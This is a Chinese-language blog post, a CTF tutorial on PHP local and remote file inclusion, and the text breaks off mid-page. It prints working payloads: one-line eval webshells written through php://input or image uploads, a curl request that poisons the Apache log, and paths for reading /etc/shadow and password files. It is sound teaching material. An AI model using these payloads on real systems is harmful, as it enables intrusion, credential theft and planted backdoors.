{"id":82,"date":"2026-03-14T22:34:52","date_gmt":"2026-03-14T14:34:52","guid":{"rendered":"http:\/\/47.118.30.30\/?p=82"},"modified":"2026-03-15T11:40:26","modified_gmt":"2026-03-15T03:40:26","slug":"%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/14\/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab\/","title":{"rendered":"\u6587\u4ef6\u5305\u542b"},"content":{"rendered":"<h1>\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e<\/h1>\n<p><a href=\"https:\/\/blog.csdn.net\/m0_46467017\/article\/details\/126380415\">\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5168\u9762\u8be6\u89e3-CSDN\u535a\u5ba2<\/a><\/p>\n<p><a href=\"https:\/\/wiki.wgpsec.org\/knowledge\/web\/fileincludes.html\">\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e | \u72fc\u7ec4\u5b89\u5168\u56e2\u961f\u516c\u5f00\u77e5\u8bc6\u5e93<\/a><\/p>\n<p><a href=\"https:\/\/marblue.pink\/2025\/05\/31\/Web%E5%9F%BA%E7%A1%80-1\/#PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE\">CTF\u00b7Web\u57fa\u7840 | PureStream &amp; Marblue<\/a><\/p>\n<p><a href=\"https:\/\/www.cnblogs.com\/my1e3\/p\/5854897.html\">\u5305\u542b\u65e5\u5fd7\u6587\u4ef6getshell &#8211; myles007 &#8211; \u535a\u5ba2\u56ed<\/a><\/p>\n<p><a href=\"https:\/\/cn-sec.com\/archives\/4358816.html\">\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5229\u7528\u4e4b\u5305\u542bSession\u6587\u4ef6 | CN-SEC \u4e2d\u6587\u7f51<\/a><\/p>\n<h3>\u6f0f\u6d1e\u6210\u56e0\uff1a<\/h3>\n<p>\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u7684\u4ea7\u751f\u539f\u56e0\u662f PHP \u8bed\u8a00\u5728\u901a\u8fc7\u5f15\u5165\u6587\u4ef6\u65f6\uff0c\u5f15\u7528\u7684\u6587\u4ef6\u540d\uff0c\u7528\u6237\u53ef\u63a7\uff0c\u7531\u4e8e\u4f20\u5165\u7684\u6587\u4ef6\u540d\u6ca1\u6709\u7ecf\u8fc7\u5408\u7406\u7684\u6821\u9a8c\uff0c\u6216\u8005\u6821\u9a8c\u88ab\u7ed5\u8fc7\uff0c\u4ece\u800c\u64cd\u4f5c\u4e86\u9884\u60f3\u4e4b\u5916\u7684\u6587\u4ef6\uff0c\u5c31\u53ef\u80fd\u5bfc\u81f4\u610f\u5916\u7684\u6587\u4ef6\u6cc4\u9732\u751a\u81f3\u6076\u610f\u7684\u4ee3\u7801\u6ce8\u5165\u3002\u5f53\u88ab\u5305\u542b\u7684\u6587\u4ef6\u5728\u670d\u52a1\u5668\u672c\u5730\u65f6\uff0c\u5c31\u5f62\u6210\u7684\u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u3002<\/p>\n<h3>\u4f7f\u7528\u6761\u4ef6\uff1a<\/h3>\n<pre><code>equire()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u627e\u4e0d\u5230\u88ab\u5305\u542b\u7684\u6587\u4ef6\u4f1a\u4ea7\u751f\u81f4\u547d\u9519\u8bef\uff0c\u5e76\u505c\u6b62\u811a\u672c\u8fd0\u884c\ninclude()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u627e\u4e0d\u5230\u88ab\u5305\u542b\u7684\u6587\u4ef6\u53ea\u4f1a\u4ea7\u751f\u8b66\u544a\uff0c\u811a\u672c\u7ee7\u7eed\u6267\u884c\nrequire_once()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u4e0erequire()\u7c7b\u4f3c:\u552f\u4e00\u7684\u533a\u522b\u662f\u5982\u679c\u8be5\u6587\u4ef6\u7684\u4ee3\u7801\u5df2\u7ecf\u88ab\u5305\u542b\uff0c\u5219\u4e0d\u4f1a\u518d\u6b21\u5305\u542b\ninclude_once()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u4e0einclude()\u7c7b\u4f3c:\u552f\u4e00\u7684\u533a\u522b\u662f\u5982\u679c\u8be5\u6587\u4ef6\u7684\u4ee3\u7801\u5df2\u7ecf\u88ab\u5305\u542b\uff0c\u5219\u4e0d\u4f1a\u518d\u6b21\u5305\u542b\n\u53ea\u8981\u5f53\u6587\u4ef6\u5185\u5bb9\u4f4d\u4e8e &lt;?php ... ?&gt; \u6807\u7b7e\u5185\u90e8\uff08\u6216\u4f7f\u7528\u77ed\u6807\u7b7e &lt;? ... ?&gt;\uff0c\u5982\u679c\u542f\u7528\uff09\u65f6\uff0cPHP \u5c31\u4f1a\u5c06\u5176\u5f53\u4f5c\u4ee3\u7801\u6267\u884c\uff0c\u4e0d\u4f9d\u8d56\u62d3\u5c55\u540d<\/code><\/pre>\n<p>\u4e00\u822c\u5229\u7528\u70b9\u5f62\u5982\uff1a<br \/>\ninclude($_GET[&#8216;\u53c2\u6570&#8217;]);<\/p>\n<p>\u8fd9\u6837\u8fd9\u8981get\u4f20\u53c2\u5c31\u53ef\u4ee5\u63a7\u5236\u88ab\u5305\u542b\u7684\u54ea\u4e2a\u6587\u4ef6\uff0c\u5f53\u7136\u5bf9post\u4e5f\u662f\u4e00\u6837\u3002<\/p>\n<h3>\u5229\u7528\u65b9\u5f0f\uff1a<\/h3>\n<h3><strong>1\uff1a\u76f4\u63a5\u901a\u8fc7\u8def\u5f84\u8bfb\u53d6\uff1a<\/strong><\/h3>\n<p>\u53ef\u4ee5\u901a\u8fc7\u5982?\u53c2\u6570=C:Windowssystem.ini\u76f4\u63a5\u8def\u5f84\u8bfb\u53d6\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5982?\u53c2\u6570=..\/..\/windows\/system.ini\u8bfb\u53d6\uff08.\/\u8868\u793a\u5de5\u4f5c\u76ee\u5f55\uff0c..\/\u8868\u793a\u4e0a\u4e00\u7ea7\u76ee\u5f55\uff09<\/p>\n<p>\u4ee5\u4e0b\u5217\u51fa\u4e00\u4e9b\u5e38\u7528\u8def\u5f84<\/p>\n<pre><code>Windows\u7cfb\u7edf:\n\nC:boot.ini\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \/\/\u67e5\u770b\u7cfb\u7edf\u7248\u672c\nC:windowssystem32inetsrvMetaBase.xml \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/IIS\u914d\u7f6e\u6587\u4ef6\nC:windowsrepairsam \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u5b58\u50a8Windows\u7cfb\u7edf\u521d\u6b21\u5b89\u88c5\u7684\u5bc6\u7801\nC:ProgramFilesmysqlmy.ini \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/Mysql\u914d\u7f6e\nC:ProgramFilesmysqldatamysqluser.MYD \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/MySQL root\u5bc6\u7801\nC:windowsphp.ini \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/php\u914d\u7f6e\u4fe1\u606f\n\nLinux\/Unix\u7cfb\u7edf:\n\n\/etc\/password\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \/\/\u8d26\u6237\u4fe1\u606f\n\/etc\/shadow \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u8d26\u6237\u5bc6\u7801\u4fe1\u606f\n\/usr\/local\/app\/apache2\/conf\/httpd.conf \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/Apache2\u9ed8\u8ba4\u914d\u7f6e\u6587\u4ef6\n\/usr\/local\/app\/apache2\/conf\/extra\/httpd-vhost.conf \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u865a\u62df\u7f51\u7ad9\u914d\u7f6e\n\/usr\/local\/app\/php5\/lib\/php.ini \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/PHP\u76f8\u5173\u914d\u7f6e\n\/etc\/httpd\/conf\/httpd.conf \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/Apache\u914d\u7f6e\u6587\u4ef6\n\/etc\/my.conf \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/mysql\u914d\u7f6e\u6587\u4ef6\n<\/code><\/pre>\n<h3><strong>2\uff1a\u5305\u542b\u56fe\u7247Getshell\uff1a<\/strong><\/h3>\n<p>\u6709\u65f6\u4f1a\u8fc7\u6ee4\u540e\u7f00\uff0c\u53ea\u80fd\u4e0a\u4f20.jpg\u4ee5\u53ca.png\u4e4b\u7c7b\u7684\uff0c\u8fd9\u65f6\u5728\u4e0a\u4f20\u7684\u56fe\u7247\u4e2d\u5199\u5165\u6076\u610f\u4ee3\u7801\uff0c\u7136\u540e\u7528 LFI \u5305\u542b\u8c03\u7528\uff0c\u5c31\u4f1a\u6267\u884c\u56fe\u7247\u91cc\u7684PHP\u4ee3\u7801\uff0c\u751a\u81f3\u53ef\u4ee5\u76f4\u63a5\u521b\u5efa\u540e\u95e8\u6587\u4ef6\uff1a<\/p>\n<pre><code>&lt;?php\n    frite(fpen(\"shell.php\",\"w\"),'&lt;?php val($_POST[123]);?&gt;);\n?&gt;\n\/\/\u5176\u5b9e\u662ffwrite\uff0cfopen\uff0ceval\uff0c\u4f46\u662f\u5982\u679c\u8fd9\u4e48\u5199\u8fd9\u4efd\u6587\u4ef6\u4f1a\u88ab\u8bc6\u522b\u4e3a\u540e\u95e8\u6587\u4ef6\u88ab\u5b89\u5168\u4e2d\u5fc3\u5e72\u788e\uff0c\u53ea\u597d\u8fd9\u4e48\u6253\u4e86ww\n\/\/fwrite:\u5c062\u7684\u53c2\u6570\u5199\u51651\u6307\u5411\u7684\u6587\u4ef6\n\/\/fopen:\u6253\u5f00\u6216\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\n\/\/w\uff1a\u5982\u679c\u6587\u4ef6\u4e0d\u5b58\u5728 \u2192 \u521b\u5efa\u5b83\uff0c\u5982\u679c\u6587\u4ef6\u5df2\u5b58\u5728 \u2192 \u6e05\u7a7a\u5185\u5bb9\uff0c\u4ece\u5934\u5199\u5165\uff0c\u6587\u4ef6\u6307\u9488\u5b9a\u4f4d\u5728\u5f00\u5934<\/code><\/pre>\n<h3><strong>3\uff1a\u7ed5\u8fc7\u622a\u65ad\uff1a<\/strong><\/h3>\n<p>\u6709\u65f6\u53ef\u80fd\u4f1a\u662f<br \/>\ninclude($_GET[&#8216;\u53c2\u6570&#8217;].&quot;.php&quot;);<\/p>\n<p>\u8fd9\u6837\u5305\u542b\u6587\u4ef6\u65f6\u5b9e\u9645\u4f1a\u67e5\u627e\u201c\u4f60\u5b9a\u7684\u6587\u4ef6\u540d.php\u201d,\u62fc\u63a5\u4e86\u4e00\u4e2a.php\u4e0a\u53bb\uff0c\u8fd9\u65f6\u53ef\u4ee5\u8fd9\u4e48\u6253\uff1a<\/p>\n<pre><code>\u53c2\u6570=\u4f60\u5b9a\u7684\u6587\u4ef6\u540d%00\n\u6bd4\u5982\uff1a\nhttp:\/\/vuln.com\/index.php?arg=1.jpg%00<\/code><\/pre>\n<p>%00\u4f1a\u88ab\u89e3\u6790\u4e3a\u0000\uff0c\u8fd9\u6837\u5e95\u5c42\u8ba4\u4e3a\u0000\u4e3a\u7ed3\u675f\u7b26\u4e0d\u7ee7\u7eed\u540e\u9762\u7684\u3002<\/p>\n<h3><strong>4\uff1aApache\u65e5\u5fd7\u6587\u4ef6\u5305\u542b\uff1a<\/strong><\/h3>\n<p>\u6709\u7684\u65f6\u5019\u627e\u4e0d\u5230\u53ef\u5229\u7528\u6587\u4ef6\u53c8\u6ca1\u6709\u6587\u4ef6\u4e0a\u4f20\u53ef\u4ee5\u7528\u8fd9\u4e2a\uff0cApache\u65e5\u5fd7\u6587\u4ef6\u4e2d\u7684access.log\u6587\u4ef6\u8bb0\u5f55\u4e86\u5ba2\u6237\u7aef\u6bcf\u6b21\u8bf7\u6c42\u7684\u76f8\u5173\u4fe1\u606f\uff1b \u5f53\u6211\u4eec\u8bbf\u95ee\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u8d44\u6e90\u65f6access.log\u6587\u4ef6\u4ecd\u7136\u4f1a\u8bb0\u5f55\u8fd9\u6761\u8d44\u6e90\u4fe1\u606f\u3002\u6240\u4ee5\u53ef\u4ee5\u5148http\/\u76ee\u6807\u7f51\u5740\/&lt;?php phpinfo(); ?&gt;,\u867d\u7136\u627e\u4e0d\u5230\u8fd9\u4e2a\u6587\u4ef6\u4f46\u662faccess.log\u4f1a\u8bb0\u5f55\u8fd9\u4e2a\u4fe1\u606f\uff0c\u6b64\u65f6\u6211\u4eec\u518d\u5305\u542baccess.log\u6587\u4ef6\u5c31\u53ef\u4ee5\u6267\u884c&lt;?php phpinfo(); ?&gt;\u4e86\uff0c\u987a\u4fbf\u8bf4\u4ee5\u4e0bphp info\uff08\uff09\u662f\u67e5\u770bphp\u914d\u7f6e\u7684\u3002\u539f\u7406\u4e4b\u524d\u8bf4\u8fc7\uff0c\u53ea\u8981\u5f53\u6587\u4ef6\u5185\u5bb9\u4f4d\u4e8e &lt;?php &#8230; ?&gt; \u6807\u7b7e\u5185\u90e8\uff08\u6216\u4f7f\u7528\u77ed\u6807\u7b7e &lt;? &#8230; ?&gt;\uff0c\u5982\u679c\u542f\u7528\uff09\u65f6\uff0cPHP \u5c31\u4f1a\u5c06\u5176\u5f53\u4f5c\u4ee3\u7801\u6267\u884c\uff0c\u4e0d\u4f9d\u8d56\u62d3\u5c55\u540d\uff0c\u6240\u4ee5\u53ea\u8981\u6587\u4ef6\u91cc\u6709php\u5199\u7684\u4ee3\u7801\u5c31\u80fd\u6267\u884c\u3002<\/p>\n<pre><code>curl -v \"http:\/\/target.com\/?page=&lt;?php @eval($_POST['cmd']); ?&gt;\"\n\u7136\u540e\nhttp:\/\/target.com\/?page=\/var\/log\/apache2\/access.log\n\u6216\nhttp:\/\/target.com\/?page=\/etc\/httpd\/logs\/access_log\nwin\u9ed8\u8ba4\u4f4d\u7f6e\uff1a\nD:xamppapachelogsaccess.log\nD:xamppapachelogserror.log<\/code><\/pre>\n<h3>5\uff1aSESSION\u6587\u4ef6\u5305\u542b\uff1a<\/h3>\n<p>session\u662f\u4ec0\u4e48\uff1a<strong>Session<\/strong>\uff0c\u5728\u7f51\u7edc\u5e94\u7528\u4e2d\u901a\u5e38\u88ab\u79f0\u4e3a\u201c\u4f1a\u8bdd\u63a7\u5236\u201d\uff0c\u662f\u670d\u52a1\u5668\u4e3a\u4e86\u4fdd\u5b58\u7528\u6237\u72b6\u6001\u800c\u521b\u5efa\u7684\u4e00\u4e2a\u7279\u6b8a\u7684\u5bf9\u8c61\u3002\u7b80\u5355\u6765\u8bf4\uff0c<strong>Session<\/strong>\u5c31\u662f\u4e00\u4e2a\u7528\u4e8e\u5b58\u50a8\u4fe1\u606f\u7684\u5bf9\u8c61<\/p>\n<p>\u6761\u4ef6\uff1a\u627e\u5230Session\u5185\u7684\u53ef\u63a7\u53d8\u91cf\uff0cSession\u6587\u4ef6\u53ef\u8bfb\u5199\uff0c\u5e76\u4e14\u77e5\u9053\u5b58\u50a8\u8def\u5f84\uff0cphp\u7684session\u6587\u4ef6\u7684\u4fdd\u5b58\u8def\u5f84\u53ef\u4ee5\u5728phpinfo\u7684session.save_pathhttp:\/\/target.com\/?page=\/var\/log\/apache2\/access.log\u770b\u5230\u3002<\/p>\n<p>\u5229\u7528\uff1a\u53ef\u4ee5\u5148\u6839\u636e\u5c1d\u8bd5\u5305\u542b\u5230SESSION\u6587\u4ef6\uff0c\u5728\u6839\u636e\u6587\u4ef6\u5185\u5bb9\u5bfb\u627e\u53ef\u63a7\u53d8\u91cf\uff0c\u5728\u6784\u9020payload\u63d2\u5165\u5230\u6587\u4ef6\u4e2d\uff0c\u6700\u540e\u5305\u542b\u5373\u53ef\uff0c\u6839\u672c\u539f\u7406\u8ddfApache\u65e5\u5fd7\u6587\u4ef6\u5305\u542b\u5176\u5b9e\u5dee\u4e0d\u591a\u3002<\/p>\n<p>session\u5e38\u89c1\u5b58\u50a8\u8def\u5f84:<\/p>\n<pre><code>\/var\/lib\/php\/sess_PHPSESSID\n\/var\/lib\/php\/sess_PHPSESSID\n\/tmp\/sess_PHPSESSID\n\/tmp\/sessions\/sess_PHPSESSID\nsession\u6587\u4ef6\u683c\u5f0f:sess_[phpsessid],\u800cphpsessid\u5728\u53d1\u9001\u7684\u8bf7\u6c42\u7684cookie\u5b57\u6bb5\u4e2d\u53ef\u4ee5\u770b\u5230\u3002<\/code><\/pre>\n<h3><strong>6\uff1a\u4f7f\u7528php\u4f2a\u534f\u8bae\uff1a<\/strong><\/h3>\n<p>file:\/\/\uff1a\u7528\u4e8e\u8bbf\u95ee\u672c\u5730\u6587\u4ef6\uff0c\u4e0d\u53d7allow_url_fopen\u4e0eallow_url_include\u7684\u5f71\u54cd\u3002<\/p>\n<p>\u4f7f\u7528\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n<pre><code>#1. file:\/\/[\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84\u548c\u6587\u4ef6\u540d]\nhttp:\/\/127.0.0.1\/include.php?file=file:\/\/C:phpStudyPHPTutorialWWWphpinfo.txt\n\n#2. file:\/\/[\u6587\u4ef6\u7684\u76f8\u5bf9\u8def\u5f84\u548c\u6587\u4ef6\u540d]\nhttp:\/\/127.0.0.1\/include.php?file=file:\/\/.\/phpinfo.txt\n\n#3. file:\/\/[\u7f51\u7edc\u8def\u5f84\u548c\u6587\u4ef6\u540d]\nhttp:\/\/127.0.0.1\/include.php?file=file:\/\/http:\/\/127.0.0.1\/phpinfo.txt<\/code><\/pre>\n<p>php:\/\/\uff1aphp:\/\/ \u8bbf\u95ee\u5404\u4e2a\u8f93\u5165\/\u8f93\u51fa\u6d41\uff08I\/O streams\uff09\uff0c\u5728CTF\u4e2d\u7ecf\u5e38\u4f7f\u7528\u7684\u662f\u00a0php:\/\/filter\u00a0\u548cphp:\/\/input\uff0cphp:\/\/filter\u7528\u4e8e<strong>\u8bfb\u53d6\u6e90\u7801<\/strong>\uff0cphp:\/\/input\u7528\u4e8e<strong>\u6267\u884c<\/strong>php\u4ee3\u7801<\/p>\n<p>\u683c\u5f0f\uff1a<\/p>\n<pre><code>#1. php:\/\/filter\/read=convert.base64-encode\/resource=[\u6587\u4ef6\u540d]  \/\/\u8bfb\u53d6\u6587\u4ef6\u6e90\u7801\nhttp:\/\/127.0.0.1\/include.php?file=php:\/\/filter\/read=convert.base64-encode\/resource=phpinfo.php\n\u5176\u4e2dread\u662f\u53ef\u9009\u53c2\u6570\uff0c\u6709read\u548cwrite\uff0c\u5b57\u9762\u610f\u601d\u5c31\u662f\u8bfb\u548c\u5199\nconvert.base64-encode\u662f\u8fc7\u6ee4\u5668\uff0c\u8fc7\u6ee4\u5668\u4e3b\u8981\u6709\u56db\u79cd\uff1a\u5b57\u7b26\u4e32\u8fc7\u6ee4\u5668\uff0c\u8f6c\u6362\u8fc7\u6ee4\u5668\uff0c\u538b\u7f29\u8fc7\u6ee4\u5668\uff0c\u52a0\u5bc6\u8fc7\u6ee4\u5668\u3002filter\u91cc\u53ef\u4ee5\u7528\u4e00\u6216\u591a\u4e2a\u8fc7\u6ee4\u5668\uff08\u4e2d\u95f4\u7528|\u9694\u5f00\uff09\n\n#2.php:\/\/input + [POST DATA]\u6267\u884cphp\u4ee3\u7801\nhttp:\/\/127.0.0.1\/include.php?file=php:\/\/input\n[POST DATA\u90e8\u5206] &lt;?php phpinfo(); ?&gt;\n\n#3.\u82e5\u6709\u5199\u5165\u6743\u9650\uff0c[POST DATA\u90e8\u5206] \u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\n&lt;?php fputs(fopen('shell.php','w'),'&lt;?php @eval($_GET[cmd]); ?&gt;'); ?&gt;<\/code><\/pre>\n<p>\u7136\u540e\u4e0b\u9762\u5bf9\u5404\u79cd\u8fc7\u6ee4\u5668\u8865\u5145\u4e00\u4e0b\u5427\uff1a<\/p>\n<pre><code>string.rot13\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u5bf9\u5b57\u7b26\u4e32\u8fdb\u884c ROT13 \u7f16\u7801\uff08\u5b57\u6bcd\u5faa\u73af\u79fb\u4f4d13\u4f4d\uff09\nstring.toupper\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u8f6c\u6362\u4e3a\u5927\u5199\nstring.tolower\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u8f6c\u6362\u4e3a\u5c0f\u5199\nconvert.base64-encode\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Base64 \u7f16\u7801\nconvert.base64-decode\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Base64 \u89e3\u7801\nconvert.quoted-printable-encode\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Quoted-Printable \u7f16\u7801\nconvert.quoted-printable-decode\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Quoted-Printable \u89e3\u7801\nconvert.iconv.&lt;from&gt;-&lt;to&gt;\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u5b57\u7b26\u7f16\u7801\u8f6c\u6362\uff08\u9700 iconv \u6269\u5c55\uff09\nzlib.deflate\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u4f7f\u7528 zlib \u538b\u7f29\nzlib.inflate\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u89e3\u538b zlib \u6570\u636e\nbzip2.compress\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0BZip2 \u538b\u7f29\nbzip2.decompress\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0BZip2 \u89e3\u538b\nopenssl.*\uff1a\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0OpenSSL \u52a0\u5bc6\uff08\u5982 openssl.rc4, openssl.aes-128-cbc\uff09\n<\/code><\/pre>\n<p>data:\/\/\uff1a\u901a\u5e38\u53ef\u4ee5\u7528\u6765\u6267\u884cPHP\u4ee3\u7801<\/p>\n<p>\u4f7f\u7528\u6761\u4ef6\uff1aallow_url_fopen:on\u4e14allow_url_include :on\uff0cPHP&gt;=5.2.0<\/p>\n<p>\u4f7f\u7528\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n<pre><code>#1.data:\/\/text\/plain,\nhttp:\/\/127.0.0.1\/include.php?file=data:\/\/text\/plain,&lt;?php%20phpinfo();?&gt;\n\n#2.data:\/\/text\/plain;base64,\nhttp:\/\/127.0.0.1\/include.php?file=data:\/\/text\/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b<\/code><\/pre>\n<p>zip:\/\/ \u4ee5\u53cacompress.bzip2:\/\/\u548ccompress.zlib:\/\/:\u5747\u5c5e\u4e8e\u538b\u7f29\u6d41\uff0c\u53ef\u4ee5\u8bbf\u95ee\u538b\u7f29\u6587\u4ef6\u4e2d\u7684\u5b50\u6587\u4ef6,\u4e0d\u9700\u8981\u6307\u5b9a\u540e\u7f00\u540d<\/p>\n<p>\u4f7f\u7528\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n<pre><code>1.zip:\/\/[\u538b\u7f29\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84]%23[\u538b\u7f29\u6587\u4ef6\u5185\u7684\u5b50\u6587\u4ef6\u540d]\uff08#\u7f16\u7801\u4e3a%23\uff09\n&lt;!--\u538b\u7f29 phpinfo.txt \u4e3a phpinfo.zip \uff0c\u538b\u7f29\u5305\u91cd\u547d\u540d\u4e3a phpinfo.jpg \uff0c\u5e76\u4e0a\u4f20--&gt;\nhttp:\/\/127.0.0.1\/include.php?file=zip:\/\/C:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt\n\n2.compress.bzip2:\/\/file.bz2\n&lt;!--\u538b\u7f29 phpinfo.txt \u4e3a phpinfo.bz2 \u5e76\u4e0a\u4f20\uff08\u540c\u6837\u652f\u6301\u4efb\u610f\u540e\u7f00\u540d\uff09--&gt;\nhttp:\/\/127.0.0.1\/include.php?file=compress.bzip2:\/\/C:phpStudyPHPTutorialWWWphpinfo.bz2\n\n3.compress.zlib:\/\/file.gz \n&lt;!--\u538b\u7f29 phpinfo.txt \u4e3a phpinfo.gz--&gt;\nhttp:\/\/127.0.0.1\/include.php?file=compress.zlib:\/\/C:phpStudyPHPTutorialWWWphpinfo.gz<\/code><\/pre>\n<h3>7\uff1a\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\uff1a<\/h3>\n<p>\u4f7f\u7528\u6761\u4ef6\uff1aphp.ini\u4e2d\u5f00\u542fallow_url_include\u3001allow_url_fopen\u9009\u9879\uff0c\u8fd9\u6837\u53ef\u4ee5\u901a\u8fc7url\u5305\u542b\u4e0d\u5728\u672c\u5730\u7684\u6587\u4ef6<\/p>\n<p>\u683c\u5f0f\uff1a<\/p>\n<pre><code>?\u53c2\u6570=http:\/\/\u8def\u5f84\/shell.txt(\u6728\u9a6c\u6587\u4ef6\u540d\uff0c\u6b64\u5904\u4ee5shell.txt\u4e3a\u4f8b)<\/code><\/pre>\n<p>\u5176\u4e2dshell.txt\u7684\u5185\u5bb9\uff1a<\/p>\n<pre><code>&lt;?php\n    futs(fpen('.\/shell.php','w'),'&lt;?php @val($_POST[123]) ?&gt;');\n?&gt;\n\/\/\u5176\u5b9e\u662ffputs\uff0cfopen\uff0ceval\uff0cfputs\u529f\u80fd\u8ddffwrite\u4e00\u6837<\/code><\/pre>\n<h3>\u8865\u5145\uff1a<\/h3>\n<pre><code>\u5982\u679c\u8981\u6c42\u6587\u4ef6\u5305\u542b\u540e\u7684\u5185\u5bb9\u6307\u5b9a\uff0c\u5982\uff1afile_get_contents($text,'r')===\"welcome to the zjctf\"\n\u90a3\u4e48\u53ef\u4ee5\u901a\u8fc7\u4f2a\u534f\u8bae\u5199\u5165\uff1b\n\u7528php:\/\/input\u4f2a\u534f\u8bae\u4ee5POST\u4f20\u53c2'welcome to the zjctf '\n\u6216\uff1a\n?text=data:\/\/text\/plain,welcome to the zjctf\n\u4fdd\u9669\u8d77\u89c1\u8fdb\u884cbase64\u7f16\u7801\uff1a\n<\/code><\/pre>\n<pre><code>\u5982\u679c\u8981\u6c42\u4f20\u53c2\u5305\u542b\u6307\u5b9a\u5b57\u6bb5\uff0c\u53ef\u4ee5\u52a0\u4e00\u4e2a\/object\/\u5728\u4f2a\u534f\u8bae\u4e2d\uff0c\u5982\uff1a\nphp:\/\/filter\/read=convert.base64-encode\/woofers\/resource=flag.php<\/code><\/pre>\n<h3>\u4f8b\u9898\uff1a[ACTF2020 \u65b0\u751f\u8d5b]Include\uff0cbuu\u4e0a\u9762web\u65b9\u5411\u7b2c\u4e09\u9053\u5c31\u662f<\/h3>\n<p>\u8fdb\u6765\u8fc7\u540e\u5148\u770b\u5230\u4e00\u4e2a\u7a7a\u767d\u754c\u9762\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/0fd7d3b6-e3fe-423d-97e4-e8b4f8464664.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/0fd7d3b6-e3fe-423d-97e4-e8b4f8464664.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"0fd7d3b6-e3fe-423d-97e4-e8b4f8464664\" \/><\/div><\/p>\n<p>\u70b9tips\u8bd5\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='file:\/\/\/C:\/Users\/inex\/Pictures\/Typedown\/6233cf58-0f03-4da7-b1d6-7f20c6769e7f.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" 